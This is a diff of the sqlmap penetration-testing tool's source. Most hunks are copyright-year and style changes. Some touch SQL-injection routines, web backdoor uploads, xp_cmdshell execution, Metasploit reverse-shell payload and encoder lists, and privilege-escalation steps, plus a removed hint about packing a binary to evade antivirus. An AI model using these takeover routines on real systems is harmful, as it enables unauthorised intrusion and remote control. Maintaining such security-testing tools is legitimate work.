@@ -1039,7 +1042,7 @@ class Connect(object):
                             name = safeVariableNaming(name)
                         elif name in keywords:
                             name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX)
-                        value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus))
+                        value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus))
                         variables[name] = value
 
             if cookie:
@@ -1162,7 +1165,7 @@ class Connect(object):
 
                 if conf.tor:
                     warnMsg = "it's highly recommended to avoid usage of switch '--tor' for "
-                    warnMsg += "time-based injections because of its high latency time"
+                    warnMsg += "time-based injections because of inherent high latency time"
                     singleTimeWarnMessage(warnMsg)
 
                 warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "")
@@ -1261,7 +1264,11 @@ class Connect(object):
             page = removeReflectiveValues(page, payload)
 
         kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None
-        kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None
+
+        message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I)
+        if message:
+            kb.permissionFlag = True
+            singleTimeWarnMessage("potential permission problems detected ('%s')" % message)
 
         if content or response:
             return page, headers, code
@@ -1271,5 +1278,5 @@ class Connect(object):
         else:
             return comparison(page, headers, code, getRatioValue, pageLength)
 
-def setHTTPHandlers():  # Cross-linked function
+def setHTTPHandlers():  # Cross-referenced function
     raise NotImplementedError

lib/request/direct.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/dns.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/httpshandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -48,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
 
         # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
         #               https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
-        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
+        if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
             for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
                 try:
                     sock = create_sock()

lib/request/inject.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -33,6 +33,7 @@ from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.data import queries
+from lib.core.decorators import stackedmethod
 from lib.core.dicts import FROM_DUMMY_TABLE
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
@@ -46,6 +47,7 @@ from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import MAX_TECHNIQUES_PER_VALUE
 from lib.core.settings import SQL_SCALAR_REGEX
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
 from lib.request.direct import direct
@@ -174,10 +176,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
     # forge the SQL limiting the query output one entry at a time
     # NOTE: we assume that only queries that get data from a table
     # can return multiple entries
-    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
-      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)
 
         if limitCond:
@@ -335,6 +334,7 @@ def _goUnion(expression, unpack=True, dump=False):
 
     return output
 
+@stackedmethod
 def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True):
     """
     Called each time sqlmap inject a SQL query on the SQL injection
@@ -471,6 +471,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
         warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
         singleTimeWarnMessage(warnMsg)
 
+    # Dirty patch (safe-encoded unicode characters)
+    if isinstance(value, unicode) and "\\x" in value:
+        try:
+            candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING)
+            if "\\x" not in candidate:
+                value = candidate
+        except:
+            pass
+
     return extractExpectedValue(value, expected)
 
 def goStacked(expression, silent=False):

lib/request/methodrequest.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/pkihandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/rangehandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/redirecthandler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/request/templates.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -19,4 +19,3 @@ def getPageTemplate(payload, place):
         retVal = kb.pageTemplates[(payload, place)]
 
     return retVal
-

lib/takeover/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/takeover/abstraction.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -172,9 +172,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
                 inject.goStacked(expression)
 
         # TODO: add support for PostgreSQL
-        #elif Backend.isDbms(DBMS.PGSQL):
-        #    expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
-        #    inject.goStacked(expression)
+        # elif Backend.isDbms(DBMS.PGSQL):
+        #     expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
+        #     inject.goStacked(expression)
 
     def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
         self._initRunAs()

lib/takeover/icmpsh.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/takeover/metasploit.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -81,6 +81,7 @@ class Metasploit:
                     _ = normalizePath(os.path.join(_, ".."))
                     if _ == old:
                         break
+
             self._msfCli = "%s & ruby %s" % (_, self._msfCli)
             self._msfConsole = "%s & ruby %s" % (_, self._msfConsole)
             self._msfEncode = "ruby %s" % self._msfEncode
@@ -88,60 +89,60 @@ class Metasploit:
             self._msfVenom = "%s & ruby %s" % (_, self._msfVenom)
 
         self._msfPayloadsList = {
-                                      "windows": {
-                                                   1: ("Meterpreter (default)", "windows/meterpreter"),
-                                                   2: ("Shell", "windows/shell"),
-                                                   3: ("VNC", "windows/vncinject"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Shell (default)", "linux/x86/shell"),
-                                                   2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Meterpreter (default)", "windows/meterpreter"),
+                2: ("Shell", "windows/shell"),
+                3: ("VNC", "windows/vncinject"),
+            },
+            "linux": {
+                1: ("Shell (default)", "linux/x86/shell"),
+                2: ("Meterpreter (beta)", "linux/x86/meterpreter"),
+            }
+        }
 
         self._msfConnectionsList = {
-                                      "windows": {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
-                                                   3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
-                                                   4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
-                                                   5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 },
-                                      "linux":   {
-                                                   1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
-                                                   2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"),
+                3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"),
+                4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"),
+                5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            },
+            "linux": {
+                1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"),
+                2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"),
+            }
+        }
 
         self._msfEncodersList = {
-                                      "windows": {
-                                                   1: ("No Encoder", "generic/none"),
-                                                   2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
-                                                   3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
-                                                   4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
-                                                   5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
-                                                   6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
-                                                   7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
-                                                   8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
-                                                   9: ("Non-Alpha Encoder", "x86/nonalpha"),
-                                                  10: ("Non-Upper Encoder", "x86/nonupper"),
-                                                  11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
-                                                  12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
-                                                  13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("No Encoder", "generic/none"),
+                2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"),
+                3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"),
+                4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"),
+                5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"),
+                6: ("Single-byte XOR Countdown Encoder", "x86/countdown"),
+                7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"),
+                8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"),
+                9: ("Non-Alpha Encoder", "x86/nonalpha"),
+                10: ("Non-Upper Encoder", "x86/nonupper"),
+                11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"),
+                12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"),
+                13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"),
+            }
+        }
 
         self._msfSMBPortsList = {
-                                      "windows": {
-                                                   1: ("139/TCP", "139"),
-                                                   2: ("445/TCP (default)", "445"),
-                                                 }
-                                    }
+            "windows": {
+                1: ("139/TCP", "139"),
+                2: ("445/TCP (default)", "445"),
+            }
+        }
 
         self._portData = {
-                            "bind": "remote port number",
-                            "reverse": "local port number",
-                          }
+            "bind": "remote port number",
+            "reverse": "local port number",
+        }
 
     def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
         if Backend.isOs(OS.WINDOWS):
@@ -484,10 +485,13 @@ class Metasploit:
 
         send_all(proc, "use espia\n")
         send_all(proc, "use incognito\n")
-        # This extension is loaded by default since Metasploit > 3.7
-        #send_all(proc, "use priv\n")
-        # This extension freezes the connection on 64-bit systems
-        #send_all(proc, "use sniffer\n")
+
+        # This extension is loaded by default since Metasploit > 3.7:
+        # send_all(proc, "use priv\n")
+
+        # This extension freezes the connection on 64-bit systems:
+        # send_all(proc, "use sniffer\n")
+
         send_all(proc, "sysinfo\n")
         send_all(proc, "getuid\n")
 
@@ -501,7 +505,7 @@ class Metasploit:
 
             send_all(proc, "getsystem\n")
 
-            infoMsg = "displaying the list of Access Tokens availables. "
+            infoMsg = "displaying the list of available Access Tokens. "
             infoMsg += "Choose which user you want to impersonate by "
             infoMsg += "using incognito's command 'impersonate_token' if "
             infoMsg += "'getsystem' does not success to elevate privileges"
@@ -671,13 +675,10 @@ class Metasploit:
             written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True)
 
         if written is not True:
-            errMsg = "there has been a problem uploading shellcodeexec, it "
+            errMsg = "there has been a problem uploading shellcodeexec. It "
             errMsg += "looks like the binary file has not been written "
             errMsg += "on the database underlying file system or an AV has "
-            errMsg += "flagged it as malicious and removed it. In such a case "
-            errMsg += "it is recommended to recompile shellcodeexec with "
-            errMsg += "slight modification to the source code or pack it "
-            errMsg += "with an obfuscator software"
+            errMsg += "flagged it as malicious and removed it"
             logger.error(errMsg)
 
             return False

lib/takeover/registry.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -33,19 +33,19 @@ class Registry:
             readParse = "REG QUERY \"" + self._regKey + "\" /v \"" + self._regValue + "\""
 
         self._batRead = (
-                           "@ECHO OFF\r\n",
-                           readParse,
-                        )
+            "@ECHO OFF\r\n",
+            readParse,
+        )
 
         self._batAdd = (
-                           "@ECHO OFF\r\n",
-                           "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
-                       )
+            "@ECHO OFF\r\n",
+            "REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self._regKey, self._regValue, self._regType, self._regData),
+        )
 
         self._batDel = (
-                           "@ECHO OFF\r\n",
-                           "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
-                       )
+            "@ECHO OFF\r\n",
+            "REG DELETE \"%s\" /v \"%s\" /f" % (self._regKey, self._regValue),
+        )
 
     def _createLocalBatchFile(self):
         self._batPathFp = open(self._batPathLocal, "w")

lib/takeover/udf.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/takeover/web.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -47,6 +47,8 @@ from lib.core.enums import WEB_API
 from lib.core.exception import SqlmapNoneDataException
 from lib.core.settings import BACKDOOR_RUN_CMD_TIMEOUT
 from lib.core.settings import EVENTVALIDATION_REGEX
+from lib.core.settings import SHELL_RUNCMD_EXE_TAG
+from lib.core.settings import SHELL_WRITABLE_DIR_TAG
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.request.connect import Connect as Request
 from thirdparty.oset.pyoset import oset
@@ -110,10 +112,10 @@ class Web:
 
         if self.webApi in getPublicTypeMembers(WEB_API, True):
             multipartParams = {
-                                "upload":    "1",
-                                "file":      stream,
-                                "uploadDir": directory,
-                              }
+                "upload": "1",
+                "file": stream,
+                "uploadDir": directory,
+            }
 
             if self.webApi == WEB_API.ASPX:
                 multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
@@ -134,7 +136,7 @@ class Web:
 
     def _webFileInject(self, fileContent, fileName, directory):
         outFile = posixpath.join(ntToPosixSlashes(directory), fileName)
-        uplQuery = getUnicode(fileContent).replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
+        uplQuery = getUnicode(fileContent).replace(SHELL_WRITABLE_DIR_TAG, directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
         query = ""
 
         if isTechniqueAvailable(kb.technique):
@@ -257,6 +259,7 @@ class Web:
         directories = list(oset(directories))
 
         path = urlparse.urlparse(conf.url).path or '/'
+        path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
         if path != '/':
             _ = []
             for directory in directories:
@@ -324,7 +327,7 @@ class Web:
 
                     with open(filename, "w+b") as f:
                         _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
-                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
+                        _ = _.replace(SHELL_WRITABLE_DIR_TAG, utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                         f.write(_)
 
                     self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)
@@ -369,7 +372,7 @@ class Web:
                     continue
 
                 _ = "tmpe%s.exe" % randomStr(lowercase=True)
-                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
+                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
                     self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                     self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                     self.webDirectory = backdoorDirectory

lib/takeover/xp_cmdshell.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -24,6 +24,7 @@ from lib.core.convert import hexencode
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.decorators import stackedmethod
 from lib.core.enums import CHARSET_TYPE
 from lib.core.enums import DBMS
 from lib.core.enums import EXPECTED
@@ -96,6 +97,7 @@ class XP_cmdshell:
 
         return wasLastResponseDelayed()
 
+    @stackedmethod
     def _xpCmdshellTest(self):
         threadData = getCurrentThreadData()
         pushValue(threadData.disableStdOut)
@@ -214,7 +216,7 @@ class XP_cmdshell:
             if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                 output = inject.getValue(query, resumeValue=False, blind=False, time=False)
 
-            if (output is None) or len(output)==0 or output[0] is None:
+            if (output is None) or len(output) == 0 or output[0] is None:
                 output = []
                 count = inject.getValue("SELECT COUNT(id) FROM %s" % self.cmdTblName, resumeValue=False, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
 

lib/techniques/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/blind/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/blind/inference.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -223,7 +223,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
 
             result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
 
-            if result and timeBasedCompare:
+            if result and timeBasedCompare and kb.injection.data[kb.technique].trueCode:
                 result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                 if not result:
                     warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
@@ -611,7 +611,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                     # If we had no luck with commonValue and common charset,
                     # use the returned other charset
                     if not val:
-                        val = getChar(index, otherCharset, otherCharset==asciiTbl)
+                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                 else:
                     val = getChar(index, asciiTbl, not(charsetType is None and conf.charset))
 
@@ -625,7 +625,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
                 threadData.shared.value = partialValue = partialValue + val
 
                 if showEta:
-                    progress.progress(time.time() - charStart, index)
+                    progress.progress(calculateDeltaSeconds(start), index)
                 elif conf.verbose in (1, 2) or conf.api:
                     dataToStdout(filterControlChars(val))
 

lib/techniques/dns/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/dns/test.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/dns/use.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/error/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/techniques/error/use.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -76,7 +76,10 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
         current = MAX_ERROR_CHUNK_LENGTH
         while current >= MIN_ERROR_CHUNK_LENGTH:
             testChar = str(current % 10)
-            testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
+
+            testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
+            testQuery = "SELECT %s" % (agent.hexConvertField(testQuery) if conf.hexConvert else testQuery)
+
             result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
 
             if (result or "").startswith(testChar):
@@ -130,20 +133,23 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
 
                 # Parse the returned page to get the exact error-based
                 # SQL injection output
-                output = reduce(lambda x, y: x if x is not None else y, (\
-                        extractRegexResult(check, page), \
-                        extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None), \
-                        extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)), \
-                        extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)), \
-                        None)
+                output = reduce(lambda x, y: x if x is not None else y, (
+                    extractRegexResult(check, page),
+                    extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
+                    extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
+                    extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
+                    None
+                )
 
                 if output is not None:
                     output = getUnicode(output)
                 else:
-                    trimmed = extractRegexResult(trimcheck, page) \
-                        or extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) \
-                        or extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) \
-                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    trimmed = (
+                        extractRegexResult(trimcheck, page) or
+                        extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
+                        extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
+                        extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
+                    )
 
                     if trimmed:
                         if not chunkTest:
@@ -305,12 +311,7 @@ def errorUse(expression, dump=False):
     # entry at a time
     # NOTE: we assume that only queries that get data from a table can
     # return multiple entries
-    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
-       expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
-       or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
-       expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
-       and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
-       and not re.search(SQL_SCALAR_REGEX, expression, re.I):
+    if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
         expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
 
         if limitCond:
@@ -330,7 +331,7 @@ def errorUse(expression, dump=False):
                 else:
                     stopLimit = int(count)
 
-                    infoMsg = "the SQL query used returns "
+                    infoMsg = "used SQL query returns "
                     infoMsg += "%d entries" % stopLimit
                     logger.info(infoMsg)
 

lib/techniques/union/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
